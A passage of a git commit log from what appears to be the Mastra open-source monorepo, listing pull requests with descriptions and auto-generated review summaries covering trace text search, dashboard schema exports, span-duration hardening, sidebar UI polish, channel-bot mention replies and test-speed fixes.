Trace hosts using the shared filter-bar hooks receive the field and chip
through those hooks. Span hosts explicitly pass withTextSearch alongside
textSearch/onTextSearchChange to the shared filter bar. Search remains a
top-level query option and is not offered inside nested AND/OR groups.

While an effective search is applied, the histogram is hidden and makes
no aggregate request. Clearing search restores ordinary histogram
behavior. Trace search uses ordinary list refreshes because delta
requests do not support text search. Aggregate support is tracked in
[OBS-936](https://linear.app/kepler-crm/issue/OBS-936).

OSS portion of [OBS-885](https://linear.app/kepler-crm/issue/OBS-885);
Platform snapshot consumption and its custom toolbar wiring follow after
merge. No storage implementation or rollout flags are enabled by this
PR. Missing capabilities safely disable search with older
packages/backends.

Validation: 189 focused UI tests across the shared filter bar and both
explorers, plus 26 Studio route-state tests, pass (215 total). Shared UI
and Studio typechecks, targeted type-aware lint, formatting, and the UI
production build pass (Node 24). Responsive previews, including invalid
search chips, were checked at 390, 768, and 1440px with network
fixtures; no production end-to-end flow was tested.

Trace consumers share the effective search from filters context; raw
text stays available for editing and URL state. A dedicated
setTextSearch action preserves empty drafts and removal separately from
token updates. Spans receive the capability decision explicitly from
their host. Search tests separate applying, editing, removal, histogram
behavior, and field restrictions.

Invalid restored terms remain editable and show a red error outline and
warning icon, with a validation tooltip and accessible description.
Switching another chip to an already-present search field is prevented.
The span query retains its existing memoization, including the effective
search term in its dependencies.

The neighboring trace-explorer suite has two failures in “when a filter
changes while a trace is open”: its Time range control is hidden from
accessibility queries by the open dialog. Both reproduce with the
changed source restored to the base commit. The other 91 tests in that
suite pass, including render-isolation checks.

Preview: 
<img width="1440" height="1000" alt="obs-885-traces-desktop"
src="https://github.com/user-attachments/assets/b0352aac-8cc3-44ec-a014-9f0cc7011003"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The PR lets users type a word into the trace and span search bar
to find matching traces and spans. The search is saved in the page link,
so others can open the same results. The histogram chart hides while a
search is active.

## Summary

This PR adds a "Contains text" filter to the shared span explorer and
the trace explorer. The filter appears only when the server reports the
matching search capability.

### Behavior

- **Search input:** The filter bar adds a root-only "Contains text"
field. Search stays a top-level query option. It is not part of nested
AND/OR groups.
- **Validation:** The input is trimmed and lowercased. The valid range
is 3 to 256 Unicode code points. Invalid input shows a validation
message and is not committed.
- **URL state:** The `textSearch` URL parameter stores the search. An
explicitly empty value stays in the URL and route state. Setting the
value to `undefined` removes the parameter.
- **Saved views:** Applying a saved view restores its saved search.
Applying a view without a saved search clears the previous search.
- **Capability gating:** Search is disabled when the
`spanQueryTextSearch` or `traceQueryTextSearch` capability is missing. A
URL-restored search is excluded from queries in that case. The search
option is not offered.
- **Histogram:** The histogram is hidden while an effective search is
applied. It makes no aggregate request in that state. Clearing the
search restores the histogram.
- **Trace list refresh:** When an effective search is present, the trace
list uses ordinary list refreshes. Delta polling is disabled, because
delta requests do not support text search.
- **Filter counts:** An effective search counts as an applied content
filter.
- **Date preset:** Changing to a non-custom date preset keeps the
current search. Changing to a custom range keeps the existing filters
and dates.
- **Span panel:** Panel span references stay identical after head rows
merge and selection changes rerender the component.

### Component and API changes

- `useObservabilityListFilters` accepts `withTextSearch`. It returns
`searchValue`, `textSearch`, and `setTextSearch`.
- New `effectiveTextSearch` helper in `lib/text-search.ts`.
- New `TEXT_SEARCH_FIELD` and `textSearchFilterItems` in
`lib/text-search-filter.ts`.
- `FilterBarField` adds `rootOnly`, `singleton`, and `validateInput`.
`rootOnly` fields appear only at the root of the expression. `singleton`
fields cannot replace another chip's field. `validateInput` blocks
free-text commits until the input is valid.
- `TracesConfigContextValue` adds a required `withTextSearch` boolean.
- `TracesFiltersActions.setFilterTokens` accepts an optional third
argument with `textSearch`.
- `TracesFilters` adds `textSearch`.
- `SpansFilterBarProps`, `UseSpansFilterBarOptions`, and
`UseSpansFilterBarFieldsOptions` add text-search options. Trace hosts
that use the shared filter-bar hooks receive the field and chip through
those hooks. Span hosts can pass `textSearch` and `onTextSearchChange`.
- `SpansExplorerHistogramProps` adds `textSearch`.
- `useTracesListSource` anchors the request window when the query
selection or delta-polling mode changes.

### Scope and limits

- The PR does not enable a storage implementation or rollout flags.
- Aggregate support for search is tracked in OBS-936. The histogram
stays hidden during search until then.
- Platform snapshot consumption and custom toolbar wiring are planned
after merge.
- This is the OSS portion of OBS-885.
- A changeset declares a minor release for `@mastra/playground-ui`.

### Testing

The following results are author-reported. They were not verified in
this review.

- The author reports 186 passing tests across affected suites: 139 UI,
filter, and state tests; 23 trace-list source tests; and 24 Studio
route-state tests. Regression tests cover a stale search clock and a
disappearing chip.
- The author reports that fixture-edited suites pass after cleanup.
- The author reports that shared UI and Studio typechecks, targeted
type-aware lint, formatting, and the UI production build pass on Node
24.
- The author reports two failures in the trace-explorer suite, in "when
a filter changes while a trace is open." The Time range control is
hidden from accessibility queries by the open dialog. The author states
both failures also occur with the changed source restored to the base
commit. The other 91 tests in that suite pass.
- No production end-to-end flow was tested. Responsive previews were
checked at 390, 768, and 1440px with network fixtures.

### Diff size

- 30 files changed, 640 lines added, 59 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 14:12:29 +01:00
Ward Peeters
af1d6bdfd2
fix(mastracode): fire permission hooks for ask_user questions (#30301)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:06:30 +01:00
mastra-platform[bot]
e3b0a6e227
docs(create-factory): fix the --no-platform example in the README (#30282) 2026-11-13 13:46:24 +01:00
Ward Peeters
673c45a861
feat(factory): lower the default run cap to 10 and show the run queue on the board (#30295)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:31:58 +01:00
Marvin Frachet
edd2c29375
feat(playground-ui): export dashboard widget schemas (#30298)
## Summary

`@mastra/playground-ui/domains/dashboards` now exports the schemas a
stored dashboard widget is validated with:

- Options schemas for every built-in widget kind (`kpisOptionsSchema`,
`kpiItemSchema`, `tableOptionsSchema`, `tableColumnOptionsSchema`,
`timeseriesOptionsSchema`, `timeseriesSeriesSchema`,
`scoresOptionsSchema`) and their types.
- Value expression schemas and types (`valueExprSchema`,
`valueRefSchema`, `queryRefSchema`, `ValueExpr`, `ValueRef`,
`LabelledValue`).
- Allowed formats, colors and KPI icons (`VALUE_FORMATS`,
`formatSchema`, `CHART_COLOR_NAMES`, `SERIES_COLORS`, `colorSchema`,
`KPI_ICONS`, `ValueFormat`, `ChartColorName`, `KpiIcon`).

`KPI_ICONS` is new: the KPI item schema now reads its icon enum from it,
so the schema and the exported type can't drift. The timeseries options
schema had no named export before.

## Why

The platform's widget editor edits stored `DashboardWidget`s. Today it
goes through a lossy draft form and reaches these schemas through
undocumented deep imports. Making them public lets the editor validate
its changes against the same rules as the renderer. This is the first
step toward editing the stored widget directly.

No runtime behavior changes.

## Test plan

- `schemas.test.ts` checks that each built-in kind's `optionsSchema` is
the exported schema, that every `KPI_ICONS` entry parses, and that a
nested value expression parses.
- `pnpm --filter ./packages/playground-ui test src/domains/dashboards`:
285 passed.
- `pnpm --filter ./packages/playground-ui typecheck`, oxlint and
prettier are clean.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change makes some of the dashboard widget rules public.
Other apps can now use the same checks that the dashboard uses to show
widgets. This lets those apps confirm that saved widgets are valid.

## Summary

This change adds public exports from
`@mastra/playground-ui/domains/dashboards`. The exports cover built-in
widget option schemas and types, value-expression schemas and types, and
the allowed formats, colors, and KPI icons. The change does not alter
runtime behavior. It only changes what the module exports.

## Changes

- **Dashboard barrel (`domains/dashboards/index.ts`):** Re-exports
`CHART_COLOR_NAMES`, `SERIES_COLORS`, `VALUE_FORMATS`, `colorSchema`,
`formatSchema`, `queryRefSchema`, `valueExprSchema`, and
`valueRefSchema` from `./lib/values`. It also re-exports the types
`ChartColorName`, `LabelledValue`, `ValueExpr`, `ValueFormat`, and
`ValueRef`.
- **Kinds barrel (`kinds/index.ts`):** Keeps the `tableKind`,
`kpisKind`, `scoresKind`, and `timeseriesKind` exports. It also exports
each kind's options schemas and types:
- Table: `tableColumnOptionsSchema`, `tableOptionsSchema`,
`TableColumnOptions`, `TableOptions`
- KPIs: `KPI_ICONS`, `kpiItemSchema`, `kpisOptionsSchema`, `KpiIcon`,
`KpiItem`, `KpisOptions`
  - Scores: `scoresOptionsSchema`, `ScoresOptions`
- Timeseries: `timeseriesOptionsSchema`, `timeseriesSeriesSchema`,
`TimeseriesOptions`, `TimeseriesSeries`
- **KPI options (`kinds/kpis/options.ts`):** Adds the exported
`KPI_ICONS` list. `KpiIcon` derives its union from this list.
`kpiItemSchema` changes from local to exported. Its optional icon enum
uses `KPI_ICONS`. The new `KpiItem` type is inferred from this schema.
- **KPI kind index (`kinds/kpis/index.ts`):** Re-exports `KPI_ICONS`,
`kpiItemSchema`, `KpiIcon`, and `KpiItem` from `./options`.
- **Timeseries kind index (`kinds/timeseries/index.ts`):** Re-exports
`timeseriesOptionsSchema`, `timeseriesSeriesSchema`,
`TimeseriesOptions`, and `TimeseriesSeries` from `../../lib/timeseries`.
- **Tests (`schemas.test.ts`):** Adds 36 lines of tests. The tests check
that each built-in kind maps to its options schema. They accept every
`KPI_ICONS` entry and reject an unknown icon. They also parse a nested
value expression.
- **Changeset (`.changeset/public-dashboard-schemas.md`):** Declares a
minor release for `@mastra/playground-ui`.

## Scope

- 7 files changed.
- 81 lines added and 8 lines removed.
- No removed public declarations are reported.

## Verification

- The PR author reports that `pnpm --filter ./packages/playground-ui
test src/domains/dashboards` passed 285 tests. The author also reports
clean typecheck, oxlint, and prettier results. These results come from
the author's report. They were not confirmed from completed checks on
the current head.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:23:16 +01:00
Ward Peeters
5c3f70b01b
fix(factory): let background issue sweeps skip the database while nothing changed (#30267)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:11:07 +01:00
mastra-platform[bot]
9a6d8cf2f1
test(core): keep thread-lease-loss-parked test isolated from the shared worker cache (#30300)
> Opened by @arthurfiorette

## Summary
Core unit tests now share one module cache per worker, and
`packages/core/vitest.isolated-tests.ts` lists the files that must keep
per-file isolation. `thread-lease-loss-parked.test.ts` sets
`MASTRA_AGENT_THREAD_LEASE_TTL_MS` in `vi.hoisted`, and core reads that
variable once at import. In a shared worker the test ran with the
default 15s lease TTL and its 500-600ms waits asserted too early, so it
failed on CI.

This adds the file to the isolated list (reason: `env`), matching its
sibling `thread-lease-loss-*` files. No changeset: test config only.

## Test plan
- `vitest run --project unit:packages/core-isolated
src/agent/__tests__/thread-lease-loss-parked.test.ts` passes (40/40).

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** One test file was running alongside other tests and reading a
setting too late. This change makes that test run in its own separate
space, so it gets the setting it needs and its timing checks pass
reliably.

## Summary

This change adds `src/agent/__tests__/thread-lease-loss-parked.test.ts`
to the `isolatedTestFiles` list in
`packages/core/vitest.isolated-tests.ts`. The test runs with per-file
isolation.

## Reason

The test sets `MASTRA_AGENT_THREAD_LEASE_TTL_MS` in `vi.hoisted`. Core
reads this variable at import time. When tests share a worker cache, the
test used the default 15-second lease TTL. Its 500–600 ms waits then
asserted too early. Per-file isolation gives the test its own module
state. Sibling `thread-lease-loss` tests already use this approach.

## Scope

- Files changed: 1
- Lines added: 1
- Lines removed: 0
- Test configuration only. No source logic changes.
- No changeset.

## Test results

The PR author reports that `vitest run --project
unit:packages/core-isolated
src/agent/__tests__/thread-lease-loss-parked.test.ts` passes, 40 of 40.
This report comes from the PR description. CI results for the current
head were not checked.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 09:10:47 -03:00
Ward Peeters
be9831d789
fix(mastracode): explain provider safety rejections (#30294)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 13:02:42 +01:00
Eric Pinzur
0d228849b8
fix(observability): harden span durations without dropping completion (#30293)
Clamp live span end times to their start when an explicit end or a
backward wall clock would produce a negative duration. Completion events
still reach exporters and emit a zero-duration metric, allowing tracking
exporters to finish spans and release trace state. No completion events
are dropped at the bus or legacy dispatch path.

Keep rejection at ingestion boundaries: client-js drops malformed
client-tool telemetry without interrupting tool execution, and the
server-side proxy rejects the entire payload before dispatch for
reversed span timestamps or negative executionDurationMs. Zero durations
and unfinished spans remain valid. Numeric and string OTLP timestamps
use consistent millisecond truncation, with raw comparisons preserving
sub-millisecond reversal detection. The server-side ingestion path lives
in @mastra/observability; there is no separate @mastra/server
span-ingestion route to patch.

Refs OBS-935. Platform ingestion rejection is merged in
https://github.com/mastra-ai/platform/pull/4836. No historical data
repair, query-time predicate, or new cross-package runtime dependency is
included.

Validation: regressions reproduce the missing completion/cleanup and
negative client-duration bugs before the fix. Full observability suite
passes: 68 files, 1,879 passed, one expected failure, two skipped
(`--maxWorkers=2`). Tests cover explicit reversed ends, a backward
clock, tracking exporter completion and cleanup without abort,
zero-duration metrics, proxy rejection before any dispatch, and valid
zero/positive execution durations. Observability build, lint,
formatting, and commit hooks pass. The unchanged client collector
previously passed its 17 tests and client-js build/typecheck.
Observability's standalone typecheck previously reported four errors in
untouched workflow-control-flow-suite.ts, reproduced with modified
source restored to the base commit.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Some timing data from apps had end times that came before
start times. This PR clamps or drops that bad data so it does not break
traces, exports, or metrics. Tools still run as normal.

## Summary

This PR handles spans and client telemetry whose timestamps are reversed
(end before start) or whose execution duration is negative. It makes two
behavior changes:

- **Live spans in the observability core:** The span end time is clamped
to the start time. Exporters then receive a completion event with zero
duration.
- **Client telemetry ingestion:** Payloads with reversed timestamps or
negative durations are rejected as a whole. The client SDK and the
server-side proxy both reject them.

The PR description also states that rejection applies in the legacy
dispatch path, that bridge state is released, and that negative-duration
metrics are skipped. The raw change summary does not confirm these
points. Treat them as unverified.

Zero-duration and unfinished spans stay valid. Explicit end times are
used for the reversed-timestamp check.

## Changes by area

**`@mastra/observability` (core spans)**
- `observability/mastra/src/spans/default.ts`: `DefaultSpan.end` clamps
an absent or earlier end time to `startTime`. A `Date` at or after
`startTime` is kept. Non-`Date` values use the current time before the
clamp.

**`@mastra/observability` (server-side client proxy)**
- `observability/mastra/src/client/otlp.ts`:
- Adds `hasReversedTimestamps(start, end)`. It returns `true` only when
both values are strings or numbers and `BigInt(end) < BigInt(start)`.
Unsupported types and conversion failures return `false`.
- `decodeResourceSpans` sets the optional
`DecodedOtlpSpan.hasReversedTimestamps` field. This is a public
interface change.
- `nanosToDate` truncates numeric nanoseconds to milliseconds instead of
rounding them.
- `observability/mastra/src/client/proxy.ts`:
`ClientObservabilityProxyImpl.receive` rejects the entire payload when
any span has reversed timestamps, when any span's end precedes its
start, or when `executionDurationMs` is negative. Each rejection logs a
warning and returns before any spans, logs, or the execution-duration
metric are emitted.

**`@mastra/client-js` (client SDK)**
- `client-sdks/client-js/src/observability/collector.ts`:
`ObservabilityCollectorImpl.flush()` drops the full payload and returns
`{}` with a warning when a span ends before it starts, or when the
execution end precedes its start. Otherwise, payload generation is
unchanged.

**Changesets**
- `.changeset/fine-cooks-end.md`: patch note for
`@mastra/observability`.
- `.changeset/short-shirts-win.md`: patch note for `@mastra/client-js`.

## Tests added

- `observability/mastra/src/client/proxy.test.ts` (+127): Covers
execution durations `-1`, `-0.001`, `0`, and `1`. Negative values export
nothing. Nonnegative values export span, log, and metric events. Also
covers mixed numeric/string timestamp pairs, and rejection of mixed-type
pairs where start exceeds end.
- `observability/mastra/src/spans/duration-validation.test.ts` (+56):
Covers explicit reversed end times, a backward clock, zero duration, and
positive duration. Reversed and backward times clamp to duration `0`. A
duration of `1` is kept.
- `observability/mastra/src/exporters/tracking.test.ts` (+34): For
reversed explicit and clock-derived end times, checks that the span is
built and finished once, the trace is cleaned up, and no span is
aborted.
- `client-sdks/client-js/src/observability/collector.test.ts` (+21/-1):
Moves fake system time backward during a span. Expects the wrapped
function to return `42`, and flushing to produce no spans and no
`executionDurationMs`.

## Scope and limits

- The PR does not repair historical data. It does not add a query-time
filter.
- A previously exported unfinished span is not deleted if its completion
event is later rejected.
- Direct calls to third-party exporters bypass the shared bus and are
not covered.

## Testing (as reported by the PR author, not verified)

- 127 focused observability tests and 17 client collector tests pass.
- Both packages build.
- Package lint, formatting, and client-js typecheck pass.
- Full observability suite: 1,867 passed, 1 expected failure, 2 skipped,
and 1 timing-sensitive failure in `agent-setup-tracing`. The two tests
in that file pass in isolation.
- Observability typecheck reports 4 errors in
`workflow-control-flow-suite.ts`. The author reports the same errors
occur with the modified files restored to the base commit.

## Diff size

- Files changed: 10
- Lines added: 286
- Lines removed: 3

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 12:51:26 +01:00
Max Katz
6c148ca288
feat(ui): polish the shared sidebar's sizing, spacing, icons and credits card (#30204)
Polishes the shared sidebar so it looks the same in Studio, Platform,
Factory and Admin: sizing, spacing, icons and the credits card. No
animation changes.

| | Before | After |
| --- | --- | --- |
| Platform | <img
src="https://github.com/user-attachments/assets/db4ffb61-2a89-44d4-b44a-675bbcd52804"
width="320"> | <img
src="https://github.com/user-attachments/assets/700094b5-8b5c-437a-981c-5cf0b65d1352"
width="320"> |
| Collapsed | <img
src="https://github.com/user-attachments/assets/158eb3b4-215d-4268-848e-f4ccc2db04f1"
width="320"> | <img
src="https://github.com/user-attachments/assets/f386bd6c-c5c3-45b7-baa7-6d5482fb86fa"
width="320"> |
| Loading | <img
src="https://github.com/user-attachments/assets/0d2d22ac-0a2c-431f-b179-6da391bb1ad9"
width="320"> | <img
src="https://github.com/user-attachments/assets/f2a46d97-45d8-431a-af7c-4d8c83a360ca"
width="320"> |
| Studio | <img
src="https://github.com/user-attachments/assets/adfd8aeb-f983-4fbe-b7d0-30e7ebfbeb02"
width="320"> | <img
src="https://github.com/user-attachments/assets/4e5d44bc-2909-4685-987f-585822e8c57e"
width="320"> |
| Admin | <img
src="https://github.com/user-attachments/assets/37381a38-9752-4f05-b297-a0c3bfda361d"
width="320"> | <img
src="https://github.com/user-attachments/assets/00f3ca34-d5d4-45ea-af0e-19a00922e508"
width="320"> |

- 232px wide by default (was 240) and 60px collapsed (was 64). The
defaults live in the component (`SIDEBAR_WIDTHS`), so apps stop passing
widths.
- Rows sit 1px apart and 10px from the edges, groups 14px apart, titles
4px above their rows.
- Agent, Workflow and MCP Server icons match the size of the line icons
next to them.
- Credits card (`Sidebar.Meter`): one layout in both states, a `loading`
state at its loaded size, and `railValue` for a short amount in the rail
(`$7k`).
- The resize handle and the rail's toggle wait a moment on hover, so
passing over them doesn't flash them.
- Fixes: the nav scrollbar no longer stays visible after you click a
link, and expanding onto an open sub-menu no longer focuses its Back
button.

The Platform side is in [Platform sidebar
polish](https://github.com/mastra-ai/platform/pull/4753).

Fixes PLTFRM-3550
2026-11-13 13:44:55 +04:00
mastra-platform[bot]
2b251aff46
fix(factory-ui): stop showing duplicate plan cards in the Factory chat (#30214) 2026-11-13 10:32:45 +01:00
Ward Peeters
c75a91d7eb
fix(factory): stop Vanta sync from closing cards when it can't see every vulnerability (#30289)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 10:11:21 +01:00
Ward Peeters
017cb27ecd
fix(factory): stop the platform GitHub event poll from reading the database on every tick (#30257)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 10:05:43 +01:00
Max Katz
9452b843f9
fix(ui): unify SearchInput, remove duplicating ListSearch component (#30062)
## Description

Before - the search padding lived inside `SearchInput` as an override,
so a field built from `InputGroup` parts (Platform's project search)
kept the old padding

Now - padding lives globally in `InputGroupAddon`, so any field with an
icon lines up with the controls beside it

Also removes `ListSearch` component, which was a duplicate of
`SearchInput`

And removes `SearchFieldBlock`, which was already deprecated in favor of
`SearchInput`

| Before | After |
| --- | --- |
| <img
src="https://github.com/user-attachments/assets/36cd5ca6-192d-491d-a006-5ad5d3398eef"
width="560" alt="Before"> | <img
src="https://github.com/user-attachments/assets/7f36cc90-919b-4ec0-90e1-2bd4e8fc9fde"
width="560" alt="After"> |

## Related issue(s)

Follow-up to PLTFRM-3027

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [x] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR





<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change replaces several separate search boxes with one shared
search box, `SearchInput`. The search icons and clear buttons now line
up with other input controls. Search fields across the app now behave
and look the same.

## Scope

- 48 files changed, 687 lines added, 882 lines removed.

## Testing

- Manually in browser
- Automated tests
2026-11-13 12:19:29 +04:00
Arthur Fiorette
7b646a07a8
fix(core): follow session permission rules for AgentController tool approval (#30151) 2026-11-13 09:08:43 +01:00
mastra-platform[bot]
1bac054f7a
fix(core): omit abandoned durable steps when replaying after takeover (#28530)
> Opened by @abhiaiyer91

## Summary
- Mark each durable model iteration before it emits chunks and record
the uncheckpointed iteration boundary on ownership takeover.
- Exclude superseded output on full and offset replay, preserving
earlier checkpointed steps and ordinary suspend/resume history.
- Buffer public `observe()` replay during attachment; refresh takeover
history before draining cached frames in arrival order, retaining
acknowledgments, cancellation cleanup, and indexed delivery tracking.
- Add a patch changeset for `@mastra/core`.

Closes #28421.

## Proof
- `stream-generation.test.ts` and
`durable-agent-execution-fence.test.ts`: 4 files passed (in-memory and
alternate storage), 298 tests passed, 6 skipped. Public `observe()`
regressions cover takeover during cached full and numeric-offset replay.
- Core `tsc --noEmit -p tsconfig.build.json`, changed-source `oxlint`,
`oxfmt --check`, and `git diff --check` pass.

## Unverified
- No PostgreSQL/Valkey multi-process failover test was run; tests
exercise the persisted-snapshot recovery boundary using in-memory
storage and indexed pubsub.
- Recovery with a checkpointed model step followed by uncheckpointed
tool activity is not covered by this model-step boundary.

## Risk: medium
- A snapshot or history read failure preserves the previous behavior
(events are not dropped without a known boundary). Cached stream history
is required to locate the abandoned step.

---------

Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: Abhi Aiyer <abhiaiyer91@gmail.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-12 21:18:13 -08:00
mastra-platform[bot]
cb5f3a5c79
fix(channels): always reply when the bot is tagged in a public thread (#30277)
> Opened by @DSchau

## Problem
When someone tags a channel agent with a heads-up and no request yet
(for example "@Shipyard I think I've found a small bug with Studio. Brb
with the details."), the agent posts nothing. Two prompt lines cause
this:

- Core's channel prompt (`packages/core/src/channels/processor.ts`)
treats a mention as only one reason to reply. It also says *"Do NOT post
acknowledgements like 'Got it'"*, and staying silent is described as the
preferred action.
- A code comment says a `<system-reminder>` on mentioned messages
overrides that guidance. No such reminder exists. The model also has no
reliable per-message mention signal, because `eventType` is `'mention'`
for subscribed-thread messages too.

The Factory reply prompt adds *"When a message needs nothing from you,
don't call it."*

## Change
- `AgentChannels.processChatMessage` adds `mentioned="true"` to the user
message's attributes when a non-DM message (or a message in its batch)
has `isMention`.
- The public-channel prompt now says to always reply to a
`mentioned="true"` message, even with a short ack like "Got it —
standing by for the details." The stay-silent and no-ack rules apply
only to messages that don't mention the bot. The system message stays
static, so prompt caching is unaffected.
- The Factory reply prompt's "don't call it" rule is limited to messages
that don't mention the bot.

## Test plan
- `processor.test.ts`: covers the mention rule in both text-visible and
hidden modes, and the narrowed no-ack rule.
- `agent-channels.test.ts`: checks that a mentioning message gets
`mentioned: 'true'` and a non-mentioning one doesn't.
- `channel-reply-processor.test.ts`: covers the updated Factory wording.
- `vitest run` passes for all three files (235 tests).

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

When someone tags the bot in a public thread, the bot should answer.
Before this change, it sometimes stayed silent. This change tells the
bot to always reply to tagged messages.

## Summary

This change makes the channel agent reply when a user mentions it in a
public channel or thread. It also limits the stay-silent guidance to
messages that do not mention the bot. The Factory reply prompt gets the
same limit.

## Changes

- **Mention marking (`packages/core/src/channels/agent-channels.ts`):**
`processChatMessage` sets `attributes.mentioned` to `'true'` on non-DM
messages when any message in the batch has `isMention`. Other messages
leave the attribute unset.
- **Prompt rules (`packages/core/src/channels/processor.ts`):** For
non-DM messages, the channel prompt requires a reply to any message
marked `mentioned="true"`. The reply can be a brief acknowledgment when
the sender says more details are coming. Messages without the mention
get a reply only when the bot is replied to or its input is clearly
needed. The silence guidance now separates mentioned messages from
unmentioned ones. The required action depends on mode: "respond with
text" in visible-text mode and "post" in hidden-text mode.
- **Factory reply tool
(`mastracode/factory/src/integrations/slack/channel-reply-processor.ts`):**
The "do not call the tool" instruction applies only to messages that do
not mention the agent and need no response. Previously it applied to all
messages that needed no response.
- **Tests:**
- `packages/core/src/channels/processor.test.ts` checks the visible-text
and hidden-text mention guidance, including the heads-up example.
- `packages/core/src/channels/__tests__/agent-channels.test.ts` adds a
`processChatMessage` test. It checks that `isMention: true` sets
`mentioned: 'true'` and that `false` leaves the attribute unset.
-
`mastracode/factory/src/integrations/slack/channel-reply-processor.test.ts`
updates the expected quiet-response instruction to match the new
wording.
- **Changeset (`.changeset/loud-mentions-reply.md`):** Adds patch
release notes for `@mastra/core` and `@mastra/factory`.

## Compatibility

- No exported or public declarations change.
- The PR description states that the system message stays static, so
prompt caching should not change. This is the author's statement and was
not checked against the diff.

## Test status

- The PR author reports that `vitest run` passes for
`processor.test.ts`, `agent-channels.test.ts`, and
`channel-reply-processor.test.ts`, with 235 tests in total. This is the
author's report. CI results were not checked.

## Diff size

- 7 files changed, 67 lines added, 9 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 04:23:30 +00:00
Tyler Barnes
a21d692444
fix(memory): stop the Observer crashing on message parts without text (#30272) 2026-11-12 21:08:55 -07:00
Tyler Barnes
cdebd2eff0
test: stop rebuilding workflow test mocks before every test (#29144)
## Summary

The core unit lane spends tens of seconds in `vi.clearAllMocks()` /
`vi.resetAllMocks()`, and almost all of it is caused by the workflow
test factory.

- **Mock registry built mocks on every reset.**
`workflows/_test-utils/src/factory.ts` resets every registry entry
before each test. Each domain shares one `MockRegistry`, and `reset()`
rebuilt every factory in it, so one run of `evented-workflow.test.ts`
created **722,585** `vi.fn()`s. `@vitest/spy` keeps every mock in a
module-level set for the life of the worker, so later `clearAllMocks`
calls in the same worker took about 440 ms each. `register()` and
`reset()` now only drop the cached mock, and `get()` builds it on first
use. Every read already goes through `get()`, so tests see the same
mocks. The same file now creates 579 mocks.
- **`evented-workflow.test.ts` Engine Specific block** used
`vi.resetAllMocks()` before each test. Every spy in that block is
created inside a test body and the file has no `vi.mock`, so it now uses
`vi.restoreAllMocks()`.
- **`durable-agent-background-tasks.test.ts`**: six fixed 500–1500 ms
sleeps are now `vi.waitFor` on the state the test asserts next. The
readOnly test keeps its sleep because it proves something does *not*
happen. No assertions changed.

## Numbers

Full `@mastra/core` unit lane, 5-CPU container, shared module cache
(stacked on #29134):

| | Base | This PR |
|---|---|---|
| Wall | 378.4 s | 339.7 s |
| Test time (worker-s) | 1,366.6 | 1,176.8 |
| `clearAllMocks` total | 37.6 s | 2.1 s |
| Result | 25,247 passed, 0 failed | 25,247 passed, 0 failed |

`workflow.test.ts` alone: 79 s → 24 s. The Inngest engine suite, which
uses the same factory, gives an identical result on the base and on this
branch: 222 passed, and the same 5 failures on both.

## Test plan

- [x] Full core unit lane: 25,247 passed, 0 failed, on both the base and
this branch.
- [x] `workflows/_test-utils`: 581/581.
- [x] Inngest engine suite: same result on base and branch.
- [x] oxlint and prettier clean.

Stacked on #29134 (core unit test wait knobs). I'll retarget it to main
once that merges.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change makes tests faster and less fragile. Tests now wait for the
result they need instead of sleeping for a fixed time. Workflow test
mocks are also created only when a test first uses them.

## Changes

- `workflows/_test-utils/src/mock-registry.ts`: `register()` removes any
existing mock for a key. `reset()` clears all mocks. `get()` creates a
mock on first use, so registered factories no longer run during reset.
The Vitest imports are split into value and type imports.
- `packages/core/src/workflows/evented/evented-workflow.test.ts`: The
Engine Specific setup calls `vi.restoreAllMocks()` instead of
`vi.resetAllMocks()`.
-
`packages/core/src/agent/durable/__tests__/durable-agent-background-tasks.test.ts`:
Fixed sleeps are replaced with `vi.waitFor` checks for dispatch, tool
results, persisted results, and task status. The suspension test also
waits for `completed` after resuming. The waits use a 10-second timeout
and a 10 ms interval. The readOnly test keeps its sleep.
- `mastracode/factory/src/tools/messaging-tools.test.ts`: The
queued-message ordering test and the missing-thread test use
`vi.waitFor` at 20 ms intervals, with a timeout of twice
